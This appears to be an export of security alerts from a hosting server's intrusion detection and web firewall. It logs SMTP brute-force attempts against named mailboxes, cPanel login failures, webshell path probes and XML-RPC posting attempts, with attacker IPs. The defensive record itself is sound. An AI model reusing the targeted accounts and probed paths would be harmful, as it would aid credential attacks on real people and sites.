name: Exim Auth failed
abuser: 157.15.40.57
country_id: 1643084
description:
2026-02-01 16:55:21 dovecot_login authenticator failed for H=(USER) [157.15.40.57]:59156: 535 Incorrect authentication data (set_id=info@nobledec.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.169.207.93
country_id: 1269750
description:
2026-02-01 16:56:39 dovecot_login authenticator failed for H=(abts-ap-dynamic-093.207.169.122.airtelbroadband.in) [122.169.207.93]:11334: 535 Incorrect authentication data (set_id=kitty.yap)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 16:56:55 dovecot_login authenticator failed for H=(2UJD83) [158.94.208.175]:55361: 535 Incorrect authentication data (set_id=munch)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-01 16:56:05 dovecot_plain authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:62124: 535 Incorrect authentication data (set_id=admin@ocned.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 188.168.12.14
country_id: 2017370
description:
2026-02-01 16:56:19 dovecot_login authenticator failed for H=(14.12.168.188.retail.ttk.ru) [188.168.12.14]:57648: 535 Incorrect authentication data (set_id=kitty.yap@manforce.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-02-01 16:56:02 dovecot_login authenticator failed for H=(FCluyjpx) [178.16.54.22]:58635: 535 Incorrect authentication data (set_id=fuzz)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 144.48.163.20
country_id: 1210997
description:
2026-02-01 16:57:16 dovecot_plain authenticator failed for H=(Z69Q27X) [144.48.163.20]:61916: 535 Incorrect authentication data (set_id=eipeng@fimco.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 157.15.40.57
country_id: 1643084
description:
2026-02-01 16:57:29 dovecot_login authenticator failed for H=(USER) [157.15.40.57]:50830: 535 Incorrect authentication data (set_id=info@nobledec.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 111.61.97.5
country_id: 1814991
description:
2026-02-01 16:57:29 dovecot_login authenticator failed for H=([111.61.97.5]) [111.61.97.5]:46418: 535 Incorrect authentication data (set_id=support)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-01 16:57:06 dovecot_login authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:51995: 535 Incorrect authentication data (set_id=admin@ocned.com)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 185.204.54.153
country_id: 6252001
description:
[2026-02-01 16:57:16 +0800] info [cpaneld] 185.204.54.153 - liam "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user liam (has_cpuser_file failed)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 16:57:26 dovecot_login authenticator failed for H=(UU9FHW) [158.94.208.175]:59518: 535 Incorrect authentication data (set_id=munch)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 14.139.107.146
country_id: 1269750
description:
2026-02-01 16:57:04 dovecot_login authenticator failed for H=([14.139.107.146]) [14.139.107.146]:38398: 535 Incorrect authentication data (set_id=support@acburn.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-02-01 16:58:33 dovecot_login authenticator failed for H=(2FpLbrD) [178.16.54.22]:54499: 535 Incorrect authentication data (set_id=fuzz)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 16:58:31 dovecot_login authenticator failed for H=(TD0EzDXHm) [158.94.208.175]:53017: 535 Incorrect authentication data (set_id=munch)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-01 16:58:37 dovecot_plain authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:62664: 535 Incorrect authentication data (set_id=admin@ocned.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-01 16:59:27 dovecot_plain authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:51940: 535 Incorrect authentication data (set_id=admin@ocned.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 157.15.40.57
country_id: 1643084
description:
2026-02-01 16:59:36 dovecot_login authenticator failed for H=(USER) [157.15.40.57]:48450: 535 Incorrect authentication data (set_id=info@nobledec.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-02-01 16:59:08 dovecot_login authenticator failed for H=(xPWmvZqhWI) [178.16.54.22]:51093: 535 Incorrect authentication data (set_id=fuzz)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 174.166.153.20
country_id: 6252001
description:
2026-02-01 16:59:20 dovecot_plain authenticator failed for H=c-174-166-153-20.hsd1.nj.comcast.net (hastreify) [174.166.153.20]:54650: 535 Incorrect authentication data (set_id=azakaria.vpb@vc-b.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 16:59:33 dovecot_login authenticator failed for H=(HH9FVifvF) [158.94.208.175]:51252: 535 Incorrect authentication data (set_id=munch)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-02-01 17:00:14 dovecot_login authenticator failed for H=(mI2RyEiZFf) [178.16.54.22]:58716: 535 Incorrect authentication data (set_id=fuzz)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 17:00:36 dovecot_login authenticator failed for H=(1jCUfR) [158.94.208.175]:54809: 535 Incorrect authentication data (set_id=munch)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 185.204.54.153
country_id: 6252001
description:
[2026-02-01 17:01:01 +0800] info [cpaneld] 185.204.54.153 - assm "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user assm (has_cpuser_file failed)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-01 17:00:14 dovecot_plain authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:58173: 535 Incorrect authentication data (set_id=admin@ocned.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 125.72.92.174
country_id: 1814991
description:
2026-02-01 17:00:53 dovecot_login authenticator failed for H=([125.72.92.174]) [125.72.92.174]:47779: 535 Incorrect authentication data (set_id=admin@acburn.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 69.172.79.198
country_id: 1819730
description:
2026-02-01 17:01:04 dovecot_login authenticator failed for H=69-172-79-198.static.imsbiz.com (173-248-234-145.static.imsbiz.com) [69.172.79.198]:50585: 535 Incorrect authentication data (set_id=admin)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 94.255.255.26
country_id: 2661886
description:
2026-02-01 17:01:07 dovecot_login authenticator failed for H=94-255-255-26.cust.bredband2.com [94.255.255.26]:39246: 535 Incorrect authentication data (set_id=info@mkmetal.com.my)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.134.212
country_id: 1880251
domain: www.indfinitydesign.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.71||T:APACHE||MV:/index.php/images/img/druma_photos/index.php||SC:/home/indfinitydesign/public_html/index.php||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-02-01 17:01:45 dovecot_login authenticator failed for H=(glHnRz) [178.16.54.22]:57412: 535 Incorrect authentication data (set_id=fuzz)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 157.15.40.57
country_id: 1643084
description:
2026-02-01 17:01:45 dovecot_login authenticator failed for H=(USER) [157.15.40.57]:35618: 535 Incorrect authentication data (set_id=info@nobledec.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-01 17:01:06 dovecot_plain authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:64610: 535 Incorrect authentication data (set_id=admin@ocned.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 17:01:08 dovecot_login authenticator failed for H=(q5qKSZhZH) [158.94.208.175]:52733: 535 Incorrect authentication data (set_id=munch)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 5.152.157.146
country_id: 3175395
description:
2026-02-01 17:01:18 dovecot_plain authenticator failed for H=(6m13khyus6u3zwjvr5jvb8eul) [5.152.157.146]:54045: 535 Incorrect authentication data (set_id=payment@tujusetia.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 117.2.51.88
country_id: 1562822
description:
2026-02-01 17:01:22 dovecot_login authenticator failed for H=(dynamic-ip-adsl.viettel.vn) [117.2.51.88]:60304: 535 Incorrect authentication data (set_id=info)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-01 17:02:07 dovecot_login authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:54085: 535 Incorrect authentication data (set_id=admin@ocned.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 136.158.67.40
country_id: 1694008
description:
2026-02-01 17:02:24 dovecot_plain authenticator failed for H=(Q3OS5) [136.158.67.40]:14322: 535 Incorrect authentication data (set_id=joshuaooi@ms-chemicals.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 87.103.126.54
country_id: 2264397
description:
2026-02-01 17:02:58 dovecot_login authenticator failed for H=54.126.103.87.rev.vodafone.pt [87.103.126.54]:58875: 535 Incorrect authentication data (set_id=seanlee)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.150.65
country_id: 1880251
domain: www.indfinitydesign.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.71||T:APACHE||MV:/index.php/images/images/contact.php||SC:/home/indfinitydesign/public_html/index.php||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 17:02:18 dovecot_login authenticator failed for H=(eMVNkp4G) [158.94.208.175]:60962: 535 Incorrect authentication data (set_id=munch)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 187.8.120.90
country_id: 3469034
description:
2026-02-01 17:02:23 dovecot_login authenticator failed for H=(187-8-120-90.customer.tdatabrasil.net.br) [187.8.120.90]:36592: 535 Incorrect authentication data (set_id=seanlee@eminent.st)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-02-01 17:02:23 dovecot_login authenticator failed for H=(3LlKaI1c) [178.16.54.22]:49854: 535 Incorrect authentication data (set_id=fuzz)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 102.215.15.118
country_id: 192950
domain: www.mssa.org.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.mssa.org.my/site/index.php?Itemid=219&catid=914:smy-dec-2015&id=169:decommissioning-in-malaysia-at-industry-cross-roads&option=com_content&view=article HTTP/1.1||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 50.235.31.47
country_id: 6252001
description:
2026-02-01 17:03:59 dovecot_login authenticator failed for H=(netmail.nasmhpd.org) [50.235.31.47]:48972: 535 Incorrect authentication data (set_id=support@acburn.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.95.228.194
country_id: 1269750
description:
2026-02-01 17:03:11 dovecot_login authenticator failed for H=([182.95.228.194]) [182.95.228.194]:56064: 535 Incorrect authentication data (set_id=kitty.yap@manforce.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 17:03:21 dovecot_login authenticator failed for H=(40RnxqVc) [158.94.208.175]:64925: 535 Incorrect authentication data (set_id=munch)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 157.15.40.57
country_id: 1643084
description:
2026-02-01 17:03:58 dovecot_login authenticator failed for H=(USER) [157.15.40.57]:33166: 535 Incorrect authentication data (set_id=info@nobledec.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-01 17:03:31 dovecot_plain authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:56456: 535 Incorrect authentication data (set_id=admin@ocned.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 90.161.217.228
country_id: 2510769
description:
2026-02-01 17:04:02 dovecot_login authenticator failed for H=(228.pool90-161-217.static.orange.es) [90.161.217.228]:43794: 535 Incorrect authentication data


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 158.94.208.175
country_id: 2921044
description:
Feb  1 17:03:26 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account munch has been locked for the attacker IP 158.94.208.175


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-02-01 17:03:28 dovecot_login authenticator failed for H=(kF8nbxDj) [178.16.54.22]:51038: 535 Incorrect authentication data (set_id=fuzz)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 220.189.196.134
country_id: 1814991
description:
2026-02-01 17:03:28 dovecot_login authenticator failed for H=([220.189.196.134]) [220.189.196.134]:53067: 535 Incorrect authentication data (set_id=kitty.yap)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.29.185.162
country_id: 1643084
description:
2026-02-01 17:04:18 dovecot_login authenticator failed for H=(ip-103-29-185-162.pascalwave.com) [103.29.185.162]:44308: 535 Incorrect authentication data (set_id=admin@dsc-expat.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 17:04:18 dovecot_login authenticator failed for H=(CoHQYC640) [158.94.208.175]:63671: 535 Incorrect authentication data (set_id=munch)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-01 17:04:21 dovecot_plain authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:65321: 535 Incorrect authentication data (set_id=admin@ocned.com)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.137.160
country_id: 1880251
domain: www.indfinitydesign.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.71||T:APACHE||MV:/index.php/images/home/about.php||SC:/home/indfinitydesign/public_html/index.php||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-02-01 17:04:56 dovecot_login authenticator failed for H=(UBey8oCN8) [178.16.54.22]:65294: 535 Incorrect authentication data (set_id=fuzz)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 158.94.208.175
country_id: 2921044
description:
Feb  1 17:04:16 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account munch has been locked for the attacker IP 158.94.208.175


plugin: ossec
rule: 50145
name: Failed login to SQL database
abuser: 198.235.24.102
country_id: 6252001
description:
2026-02-01 17:04:23 232590 [Warning] Aborted connection 232590 to db: 'unconnected' user: 'unauthenticated' host: '198.235.24.102' (This connection closed normally without authentication)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 123.23.112.67
country_id: 1562822
domain: mssa.org.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/mssa.org.my/product-category.php?id=5&sub=18 HTTP/1.1||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 17:04:29 dovecot_login authenticator failed for H=(UhB4jlf0cc) [158.94.208.175]:50679: 535 Incorrect authentication data (set_id=munch)


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 187.180.212.127
country_id: 3469034
domain: tujusetia.my
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:35609.tujusetia.my||ServerName:tujusetia.my||Method:metaWeblog.newPost||BlogID:1||TitleSHA:29dba367c1bce14e6265b8f397a8e47f285d6aff||Title:0xcbce0b39||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 101.251.197.46
country_id: 1814991
description:
2026-02-01 17:04:58 dovecot_login authenticator failed for H=([101.251.197.46]) [101.251.197.46]:40174: 535 Incorrect authentication data (set_id=support)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 137.220.199.220
country_id: 1861060
description:
2026-02-01 17:04:59 dovecot_login authenticator failed for H=(zJiUOJ8HCy) [137.220.199.220]:58406: 535 Incorrect authentication data (set_id=jb-sales@mckd.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 106.245.142.83
country_id: 1835841
description:
2026-02-01 17:05:09 dovecot_login authenticator failed for H=([106.245.142.83]) [106.245.142.83]:7367: 535 Incorrect authentication data (set_id=support)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 71.224.169.28
country_id: 6252001
description:
2026-02-01 17:06:01 dovecot_plain authenticator failed for H=c-71-224-169-28.hsd1.pa.comcast.net (retaunceae) [71.224.169.28]:54862: 535 Incorrect authentication data (set_id=ww.teo@figofoods.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-01 17:05:06 dovecot_plain authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:54508: 535 Incorrect authentication data (set_id=admin@ocned.com)


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 139.64.21.172
country_id: 102358
domain: tschuan.com
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:test01.tschuan.com||ServerName:tschuan.com||Method:metaWeblog.newPost||BlogID:1||TitleSHA:e71c6710f020493fcedae0122fa4314a2ecd9201||Title:0x1c8c5b6a||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 211.93.6.230
country_id: 1814991
description:
2026-02-01 17:05:10 dovecot_login authenticator failed for H=([211.93.6.230]) [211.93.6.230]:30932: 535 Incorrect authentication data (set_id=admin@dsc-expat.com)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 158.94.208.175
country_id: 2921044
description:
Feb  1 17:05:11 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account munch has been locked for the attacker IP 158.94.208.175


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 17:05:13 dovecot_login authenticator failed for H=(VRZ3t9) [158.94.208.175]:53788: 535 Incorrect authentication data (set_id=munch)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-02-01 17:05:30 dovecot_login authenticator failed for H=(pGGCGK44vx) [178.16.54.22]:54053: 535 Incorrect authentication data (set_id=fuzz)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 137.220.199.220
country_id: 1861060
description:
2026-02-01 17:05:06 dovecot_login authenticator failed for H=(yNbUBZe3t) [137.220.199.220]:58546: 535 Incorrect authentication data (set_id=jb-sales@mckd.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 157.15.40.57
country_id: 1643084
description:
2026-02-01 17:06:08 dovecot_login authenticator failed for H=(USER) [157.15.40.57]:36354: 535 Incorrect authentication data (set_id=info@nobledec.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 37.57.69.227
country_id: 690791
description:
2026-02-01 17:06:32 dovecot_login authenticator failed for H=(227.69.57.37.triolan.net) [37.57.69.227]:35618: 535 Incorrect authentication data (set_id=admin)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.51.26.198
country_id: 1269750
description:
2026-02-01 17:06:54 dovecot_login authenticator failed for H=(103.51.26.198.sukaininfoway.com) [103.51.26.198]:34979: 535 Incorrect authentication data (set_id=support)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 158.94.208.175
country_id: 2921044
description:
Feb  1 17:06:07 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account munch has been locked for the attacker IP 158.94.208.175


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 123.129.245.249
country_id: 1814991
description:
2026-02-01 17:06:22 dovecot_login authenticator failed for H=([123.129.245.249]) [123.129.245.249]:53884: 535 Incorrect authentication data (set_id=admin@euratech.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-02-01 17:06:24 dovecot_login authenticator failed for H=(NTcWCXkKPT) [178.16.54.22]:63582: 535 Incorrect authentication data (set_id=fuzz)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 45.167.104.215
country_id: 3469034
domain: www.cabe.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.cabe.com.my/product-detail.php?id=611667 HTTP/1.1||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-01 17:06:09 dovecot_login authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:60200: 535 Incorrect authentication data (set_id=admin@ocned.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 17:06:09 dovecot_login authenticator failed for H=(yKfTgSKe4P) [158.94.208.175]:54088: 535 Incorrect authentication data (set_id=munch)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.251.143.14
country_id: 1269750
description:
2026-02-01 17:06:45 dovecot_login authenticator failed for H=([103.251.143.14]) [103.251.143.14]:46282: 535 Incorrect authentication data (set_id=support@ocned.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 137.220.199.220
country_id: 1861060
description:
2026-02-01 17:06:10 dovecot_login authenticator failed for H=(N2agsq0Ll) [137.220.199.220]:60637: 535 Incorrect authentication data (set_id=jb-sales)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 137.220.199.220
country_id: 1861060
description:
2026-02-01 17:07:03 dovecot_login authenticator failed for H=(DxTwR5tK) [137.220.199.220]:63002: 535 Incorrect authentication data (set_id=jb-sales)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-02-01 17:07:04 dovecot_login authenticator failed for H=(jQL2k9G) [178.16.54.22]:63195: 535 Incorrect authentication data (set_id=fuzz)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 17:07:05 dovecot_login authenticator failed for H=(B6jq8P) [158.94.208.175]:61576: 535 Incorrect authentication data (set_id=munch)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 49.124.151.53
country_id: 1733045
description:
2026-02-01 17:07:38 dovecot_login authenticator failed for H=([49.124.151.53]) [49.124.151.53]:39198: 535 Incorrect authentication data (set_id=kitty.yap@manforce.net)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 158.94.208.175
country_id: 2921044
description:
Feb  1 17:07:03 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account munch has been locked for the attacker IP 158.94.208.175


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 137.220.199.220
country_id: 1861060
description:
2026-02-01 17:07:47 dovecot_login authenticator failed for H=(6l7vlEmM) [137.220.199.220]:49289: 535 Incorrect authentication data (set_id=jb-sales@mckd.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 61.73.190.98
country_id: 1835841
description:
2026-02-01 17:07:54 dovecot_login authenticator failed for H=([61.73.190.98]) [61.73.190.98]:45142: 535 Incorrect authentication data (set_id=info@stonewld.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-01 17:07:03 dovecot_login authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:63741: 535 Incorrect authentication data (set_id=admin@ocned.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 180.168.60.146
country_id: 1814991
description:
2026-02-01 17:07:53 dovecot_login authenticator failed for H=([180.168.60.146]) [180.168.60.146]:43629: 535 Incorrect authentication data (set_id=kitty.yap)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 158.94.208.175
country_id: 2921044
description:
Feb  1 17:08:08 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account munch has been locked for the attacker IP 158.94.208.175


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 17:08:10 dovecot_login authenticator failed for H=(51cL9vF) [158.94.208.175]:62563: 535 Incorrect authentication data (set_id=munch)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.66.215.139
country_id: 1269750
description:
2026-02-01 17:08:15 dovecot_plain authenticator failed for H=(T8FWR3M6R) [103.66.215.139]:61278: 535 Incorrect authentication data (set_id=payment@tujusetia.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 157.15.40.57
country_id: 1643084
description:
2026-02-01 17:08:18 dovecot_login authenticator failed for H=(USER) [157.15.40.57]:51456: 535 Incorrect authentication data (set_id=info@nobledec.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-01 17:08:26 dovecot_plain authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:52168: 535 Incorrect authentication data (set_id=admin@ocned.com)


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 137.220.199.220
country_id: 1861060
description:
2026-02-01 17:08:28 dovecot_login authenticator failed for H=(aktevd) [137.220.199.220]:51145: 535 Incorrect authentication data (set_id=jb-sales)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 118.36.234.156
country_id: 1835841
description:
2026-02-01 17:08:05 dovecot_login authenticator failed for H=([118.36.234.156]) [118.36.234.156]:36736: 535 Incorrect authentication data (set_id=info)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-02-01 17:08:17 dovecot_login authenticator failed for H=(jnmQI81) [178.16.54.22]:56076: 535 Incorrect authentication data (set_id=fuzz)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 137.220.199.220
country_id: 1861060
description:
2026-02-01 17:08:04 dovecot_login authenticator failed for H=(35Y1fRO) [137.220.199.220]:50121: 535 Incorrect authentication data (set_id=jb-sales)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 197.54.163.142
country_id: 357994
description:
2026-02-01 17:09:08 dovecot_plain authenticator failed for H=(ZZ7H17CIG) [197.54.163.142]:60956: 535 Incorrect authentication data (set_id=rafidah@pspoly.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 17:09:12 dovecot_login authenticator failed for H=(UFF6qZgl) [158.94.208.175]:52259: 535 Incorrect authentication data (set_id=munch)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-01 17:09:14 dovecot_plain authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:58168: 535 Incorrect authentication data (set_id=admin@ocned.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 77.40.61.150
country_id: 2017370
description:
2026-02-01 17:09:16 dovecot_plain authenticator failed for H=(ijwg6qu2lqaymzdzt78i) [77.40.61.150]:22645: 535 Incorrect authentication data (set_id=support@agpc.org.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-02-01 17:09:20 dovecot_login authenticator failed for H=(5ZAwfdH) [178.16.54.22]:59627: 535 Incorrect authentication data (set_id=fuzz)


plugin: ossec
rule: 50145
name: Failed login to SQL database
abuser: 40.76.125.17
country_id: 6252001
description:
2026-02-01 17:09:38 232746 [Warning] Aborted connection 232746 to db: 'unconnected' user: 'unauthenticated' host: '40.76.125.17' (This connection closed normally without authentication)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
